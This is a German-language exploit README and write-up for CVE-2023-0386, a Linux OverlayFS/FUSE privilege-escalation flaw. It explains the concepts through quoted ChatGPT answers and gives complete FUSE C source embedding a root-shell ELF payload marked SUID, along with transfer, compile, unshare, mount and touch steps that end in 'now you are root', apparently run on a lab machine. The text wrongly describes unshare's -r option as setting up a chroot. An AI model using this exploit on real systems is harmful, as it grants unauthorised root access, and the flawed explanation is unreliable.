
Sehr einfacher Exploit und Analyse zu CVE-2023-0386. Verwendet C und sh.
Exploit-Nutzung:
Zuerst: Lade fuse.c und exp.sh in das Verzeichnis /tmp hoch.
Du kannst scp oder python3 -m http.server verwenden, um die Dateien auf das Zielsystem zu übertragen.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
oder
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #your machine
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #target
Und dann:
cd /tmp
/bin/bash exp.sh
Jetzt bist du root!

Im Folgenden findest du eine detaillierte Analyse von CVE-2023-0386.
Gestern habe ich mich den ganzen Tag mit dieser Schwachstelle beschäftigt. Einfach ausgedrückt: Wenn OverlayFS eine Datei vom unteren Dateisystem in das obere Dateisystem kopiert, wird nicht überprüft, ob der Benutzer im Namespace der unteren Datei auf den aktuellen User Namespace abgebildet ist, sodass eine SUID-Rechteausweitung eingerichtet werden kann.
Das klingt sehr abstrakt. Um dieses Problem zu verstehen, musst du zunächst ein paar Dinge wissen:
ChatGPT: Bitte erkläre OverlayFS in Linux ausführlich.
OverlayFS, auch Overlay-Dateisystem genannt, ist ein Union-Dateisystem im Linux-Kernel, das mehrere verschiedene Dateisysteme übereinanderlegen kann, um eine einzige, einheitliche Ansicht zu bilden. Es wurde in Version 3.18 offiziell in den Kernel aufgenommen.
OverlayFS hat drei wichtige Bestandteile: das Lower Filesystem, das Upper Filesystem und das Merged Filesystem. Die Aufgabe jedes Teils ist wie folgt:
Lower filesystem (unteres Dateisystem): Dies ist die Basisebene und normalerweise schreibgeschützt. Alle Dateien und Verzeichnisse werden zunächst aus dieser Ebene bezogen.
Upper filesystem (oberes Dateisystem): Dies ist die oberste Ebene und normalerweise beschreibbar. Wenn wir Schreiboperationen am Dateisystem durchführen, werden alle Änderungen in dieser Ebene gespeichert. Wenn eine Datei im Lower Filesystem existiert, wir sie aber ändern möchten, wird eine Kopie dieser Datei im Upper Filesystem erstellt und dann geändert. Dieser Prozess wird als „copy-up“ bezeichnet.
Merged filesystem (zusammengeführtes Dateisystem): Dies ist die endgültige Ansicht von OverlayFS, die das Lower und das Upper Filesystem kombiniert. Bei Leseoperationen sucht OverlayFS zuerst im Upper Filesystem nach der Datei; wenn sie dort nicht gefunden wird, wird im Lower Filesystem gesucht.
Die logische Ansicht dieser Struktur sieht wie folgt aus:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
Eine wichtige Anwendung von OverlayFS liegt in containerisierten Anwendungen, insbesondere in Docker. In Docker ist jede Image-Ebene schreibgeschützt und kann als Lower Filesystem für andere Container verwendet werden. Wenn wir einen neuen Container starten, erstellt Docker für ihn ein neues, leeres Upper Filesystem. Auf diese Weise wirken sich alle Änderungen am Container (z. B. das Installieren neuer Software) nur auf das Upper Filesystem aus, nicht auf die gemeinsamen Image-Ebenen.
Da OverlayFS außerdem erlaubt, mehrere Lower Filesystems unter einer oberen Ebene zu mounten, können wir auch Dateisysteme mit mehreren Ebenen erstellen, was bei Docker-Image-Ebenen weit verbreitet ist.
Zusammenfassend: Die Dateien der unteren Ebene sind schreibgeschützt, die Dateien der oberen Ebene sind les- und schreibbar, und die Zusammenführungsebene vereint die Dateien der unteren und oberen Ebene zu einer einheitlichen Ansicht. Wenn wir in der Zusammenführungsebene eine Datei ändern, die in der unteren Ebene existiert, aber nicht in der oberen Ebene, wird die Datei der unteren Ebene unverändert in die obere Ebene kopiert, damit sie geändert werden kann. Genau hier wird die Schwachstelle ausgelöst.
GPT: Du bist ein Linux-Kernel-Experte. Bitte erkläre jetzt ausführlich, was FUSE ist.
FUSE (Filesystem in Userspace) ist ein Mechanismus zum Erstellen von Dateisystemen im Benutzerbereich. Es ist eine vom Linux-Kernel bereitgestellte Schnittstelle, die es Benutzern ermöglicht, eigene Dateisysteme zu entwickeln und auszuführen, ohne den Kernel-Code zu ändern.
Das Hauptziel von FUSE ist es, die Entwicklung und Nutzung neuer Dateisysteme zu vereinfachen. Mit FUSE kannst du benutzerdefinierte Dateisysteme erstellen, ohne die Details vieler Kernel-APIs kennen zu müssen. Das ist sehr nützlich für Szenarien wie Debugging, schnelles Prototyping, akademische Forschung, die Implementierung sehr spezieller Dateisysteme (z. B. transparente verschlüsselte Dateisysteme, Netzwerkdateisysteme) usw.
Bei FUSE läuft der größte Teil der Dateisystemlogik im Benutzerbereich. Das macht die Entwicklung einfacher, da der Benutzerbereich eine freundlichere Entwicklungsumgebung bietet: Du kannst jede beliebige Programmiersprache verwenden, dir stehen mehr Bibliotheken zur Verfügung, die Fehlerbehandlung ist einfacher usw. Andererseits bedeutet dies auch, dass FUSE-Dateisysteme normalerweise langsamer sind als Dateisysteme im Kernelbereich, da sie häufig zwischen Benutzer- und Kernelbereich kontextwechseln müssen.
Ein FUSE-Dateisystem besteht normalerweise aus zwei Teilen:
Bei der Entwicklung eines FUSE-Dateisystems musst du eine Reihe von Callback-Funktionen implementieren, die den verschiedenen Dateisystemoperationen entsprechen, wie z. B. Öffnen, Lesen und Schreiben von Dateien. Wenn diese Operationen auftreten, ruft das FUSE-Kernelmodul die entsprechende Callback-Funktion auf und gibt das Ergebnis an den Aufrufer zurück.
Insgesamt bietet FUSE ein leistungsfähiges Framework für die Implementierung von Dateisystemen im Benutzerbereich. Es vereinfacht die Entwicklung von Dateisystemen und ermöglicht es, Dateisysteme modular zu erweitern und zu modifizieren.
Eigentlich erlaubt FUSE dem Benutzer, ein eigenes Dateisystem und die darin enthaltenen Dateien zu definieren.
Wir müssen den FUSE-bezogenen Code in C schreiben.
Du bist ein Linux-Kernel-Experte, was ist ein User Namespace?
In Linux ist ein „Namespace“ eine Kernel-Funktion, mit der die Sicht von Prozessen isoliert werden kann, sodass Prozesse nur Ressourcen sehen können, die zum selben Namespace gehören. Jeder Namespace-Typ entspricht einer bestimmten Art von Ressource. Beispielsweise werden PID-Namespaces (Process ID) verwendet, um Prozess-IDs zu isolieren, Net-Namespaces isolieren Netzwerkschnittstellen und Netzwerk-Stacks, und Mount-Namespaces isolieren Dateisystem-Mountpunkte usw.
User Namespaces sind eine Art von Linux-Namespace und werden hauptsächlich verwendet, um Benutzer- und Gruppen-IDs zu isolieren. Jeder User Namespace besitzt einen eigenen Satz von Benutzer- und Gruppen-IDs. Zum Beispiel: Ein Prozess kann in User Namespace A als Root-Benutzer (UID 0) laufen, in User Namespace B jedoch nur ein gewöhnlicher Benutzer sein.
Der Vorteil ist, dass selbst wenn ein Prozess innerhalb seines User Namespace Root-Rechte besitzt, er keine Ressourcen in anderen User Namespaces beeinflussen kann, da er in anderen Namespaces möglicherweise nur ein gewöhnlicher Benutzer ist. Das erhöht die Systemsicherheit erheblich. Selbst wenn ein Container (eigentlich eine Gruppe von Prozessen, die in einem eigenen Satz von Namespaces läuft) angegriffen wird, kann der Angreifer das Host-System oder andere Container nicht beeinflussen.
User Namespaces sind eine der Kerntechnologien von Linux-Containern (wie Docker, LXC usw.). Durch die Verwendung von User Namespaces und anderer Namespace-Arten können Container eine ähnliche Isolation wie virtuelle Maschinen bieten, ohne dass eine Virtualisierung erforderlich ist.
Zusammenfassend sind User Namespaces ein Mechanismus in Linux zur Isolierung von Benutzer- und Gruppen-IDs und spielen eine wichtige Rolle bei der Verbesserung der Sicherheit von Systemen und Containern.
Was ist eine User-Namespace-Zuordnung?
In Linux-User-Namespaces gibt es ein sehr wichtiges Konzept: die User-Namespace-Zuordnung. Diese Zuordnung definiert, wie Benutzer- und Gruppen-IDs zwischen verschiedenen User Namespaces umgewandelt werden. Das heißt: Ein Prozess, der innerhalb eines User Namespace wie Root aussieht, kann im Host oder in einem anderen Namespace nur ein gewöhnlicher nicht privilegierter Benutzer sein.
Dieser Zuordnungsmechanismus kann durch Ändern der Dateien /proc/[pid]/uid_map und /proc/[pid]/gid_map festgelegt werden, wobei [pid] die PID des Prozesses ist. In diesen Dateien ist jede Zeile ein Zuordnungseintrag, der aus drei Feldern besteht: der ID innerhalb des Namespace, der ID außerhalb des Namespace und der ID-Bereich. Beispiel: "0 1000 1" bedeutet, dass ID 0 innerhalb des Namespace auf ID 1000 außerhalb des Namespace abgebildet wird.
Ein Prozess, der beispielsweise in User Namespace A läuft, kann eine Benutzer-ID von 0 haben und wie Root aussehen. Wenn wir jedoch in der User-Namespace-Zuordnung 0 auf 1000 abbilden, ist die Benutzer-ID dieses Prozesses für den Host-Namespace und andere User Namespaces 1000, also ein gewöhnlicher Benutzer.
Auf diese Weise bietet die User-Namespace-Zuordnung eine Methode, mit der ein Prozess innerhalb seines User Namespace volle Rechte (z. B. Root-Benutzer) haben kann, während er in anderen Namespaces weiterhin nur ein gewöhnlicher Benutzer ist. Das ist für Isolation und Sicherheit sehr wichtig.
Weil die Dateien im unteren Dateisystem für den Benutzer in hohem Maße kontrollierbar sind (durch FUSE erzeugt), kann man beliebige Dateien definieren, zum Beispiel eine suid-Datei (aber aus Sicherheitsgründen hat FUSE einige Standardeinschränkungen. Eine davon ist, dass das standardmäßig gemountete Dateisystem nosuid ist, d. h. die Setuid- und Setgid-Bits im FUSE-Dateisystem werden ignoriert, auch wenn sie von FUSE ignoriert werden, ist das suid-Bit weiterhin vorhanden). Wir können jedoch eine suid-Datei aus einem nosuid-System mithilfe der OverlayFS-Funktionen von der unteren in die obere Ebene kopieren. Da es sich bei der oberen Ebene um ein normales Dateisystem handelt, erhält eine illegale suid-Datei echte suid-Rechte, was zur Rechteausweitung führt.
Für die Vorbereitung müssen mehrere Ordner erstellt werden, um ein OverlayFS aufzubauen.
cd /tmp
mkdir fuse upper overlay workdir
Dabei ist fuse der Ordner, in dem sich das benutzerdefinierte Dateisystem befindet, und dient gleichzeitig als untere Ebene des OverlayFS.
upper dient als obere Ebene des OverlayFS.
overlay dient als Zusammenführungsebene des OverlayFS.
workdir ist das Arbeitsverzeichnis des OverlayFS.
Der folgende FUSE-Code wurde von mir auf der Grundlage des Codes von Meister c modifiziert. https://github.com/chenaotian/CVE-2023-0386
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//读文件的回调函数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持读hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
} else {
size = 0;
}
return size;
}
static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
.ioctl = ioctl_callback
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}
Ich habe auf seiner Grundlage eine ioctl_callback-Funktion hinzugefügt, die später beim touch der Datei verwendet wird, da sonst der Fehler „Funktion nicht implementiert“ auftritt.
Übertrage die Datei per scp auf das Zielsystem:
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

Kompilieren:
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse fuse fuse.c overlay upper workdir
Erstelle das FUSE-Dateisystem:
./efuse fuse
Man sieht, dass im Ordner fuse eine Datei hello erscheint, die root gehört und das suid-Bit besitzt:

Da es sich in fuse derzeit um nosuid handelt, können wir selbst bei Ausführung keine Rechteausweitung erreichen.
unshare -Urm
unshare ist ein Linux-Befehl, der verwendet wird, um bestimmte Arten von Namespaces vom aktuellen Shell-Prozess zu „entkoppeln“. Dadurch kann eine isolierte Umgebung erstellt werden, ähnlich wie bei der Virtualisierung, jedoch ohne ein vollständiges Betriebssystem.
Die Bedeutung der -Urm-Parameter nach dem Befehl unshare:
-U bedeutet, den User Namespace zu entkoppeln. Dadurch läuft der neue Shell-Prozess in seinem eigenen User Namespace, und alle Benutzer- und Gruppen-ID-Zuordnungen sind eindeutig. Das bedeutet zum Beispiel, dass der neue Shell-Prozess zwar glauben mag, als Root-Benutzer zu laufen, außerhalb jedoch als anderer, nicht privilegierter Benutzer läuft.-r bedeutet, ein neues Root-Verzeichnis (chroot) einzurichten, sodass der neue Shell-Prozess nicht auf andere Teile des tatsächlichen Dateisystems zugreifen kann. Dies wird häufig verwendet, um eine isolierte Umgebung bereitzustellen, z. B. beim Kompilieren von Software, um zu verhindern, dass sie andere Teile des Systems verunreinigt.-m bedeutet, den Mount-Namespace zu entkoppeln. Dadurch kann der neue Shell-Prozess Mountpunkte ändern, ohne dass diese Änderungen andere Prozesse beeinflussen. Er kann beispielsweise neue Dateisysteme mounten oder die Eigenschaften vorhandener Mountpunkte ändern, ohne andere Teile des Systems zu beeinflussen.Zusammenfassend erstellt der Befehl unshare -Urm eine neue, isolierte Umgebung, die über eigene Benutzer, Gruppen, Mountpunkte und ein eigenes Root-Verzeichnis verfügt und vollständig vom Rest des Systems isoliert ist.
Verwende das zuvor erstellte FUSE-Dateisystem als untere Ebene, das Verzeichnis upper als obere Ebene und overlay als Zusammenführungsebene:
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay
Zu diesem Zeitpunkt ist die Datei hello bereits in der Zusammenführungsebene erschienen:

Hier müssen wir die Datei hello ändern, um den Effekt zu erzielen, dass hello in die obere Datei upper kopiert wird. Dies erreichen wir mit dem Befehl touch.
Wenn du eine bereits vorhandene Datei touchst, wird der Zeitstempel der Datei geändert. Da der Zeitstempel als Metadaten der Datei geändert wird, wird dadurch natürlich auch das Kopieren ausgelöst. (Wenn die Callback-Funktion ioctl_callback nicht vorher hinzugefügt worden wäre, wäre touch nicht möglich.)
Der Befehl touch wird hauptsächlich verwendet, um die Zugriffszeit und die Änderungszeit einer Datei zu ändern oder, falls die Datei nicht existiert, eine neue leere Datei zu erstellen. In den meisten Fällen ruft der Befehl touch die Funktion ioctl nicht direkt auf. Er ruft normalerweise Systemfunktionen wie open, close, utimes oder utimensat auf.
ioctl ist ein sehr allgemeiner Systemaufruf für gerätespezifische Operationen oder andere Operationen, die nicht mit Standard-Systemaufrufen ausgedrückt werden können. Er kann beispielsweise verwendet werden, um Terminaleinstellungen zu ändern oder den Status von Netzwerkgeräten abzufragen. Da der Befehl touch jedoch hauptsächlich mit Dateisystemen und nicht mit Geräten interagiert, ist die Verwendung von ioctl normalerweise nicht erforderlich.
Das bedeutet jedoch nicht, dass ioctl niemals aufgerufen wird, denn Dateisysteme oder Gerätetreiber können spezielle ioctl-Operationen für bestimmte Funktionen bereitstellen. Beispielsweise bieten einige Dateisysteme möglicherweise spezielle ioctl-Operationen zum Ändern von Dateizeitstempeln an. Dies ist jedoch sehr selten und gehört nicht zum normalen Verhalten des Befehls touch.
Man kann deutlich sehen, dass wir durch das Touchen der Datei hello in upper erhalten haben.

Anschließend verlassen wir den Namespace und führen upper/hello aus, um die Rechteausweitung erfolgreich durchzuführen.
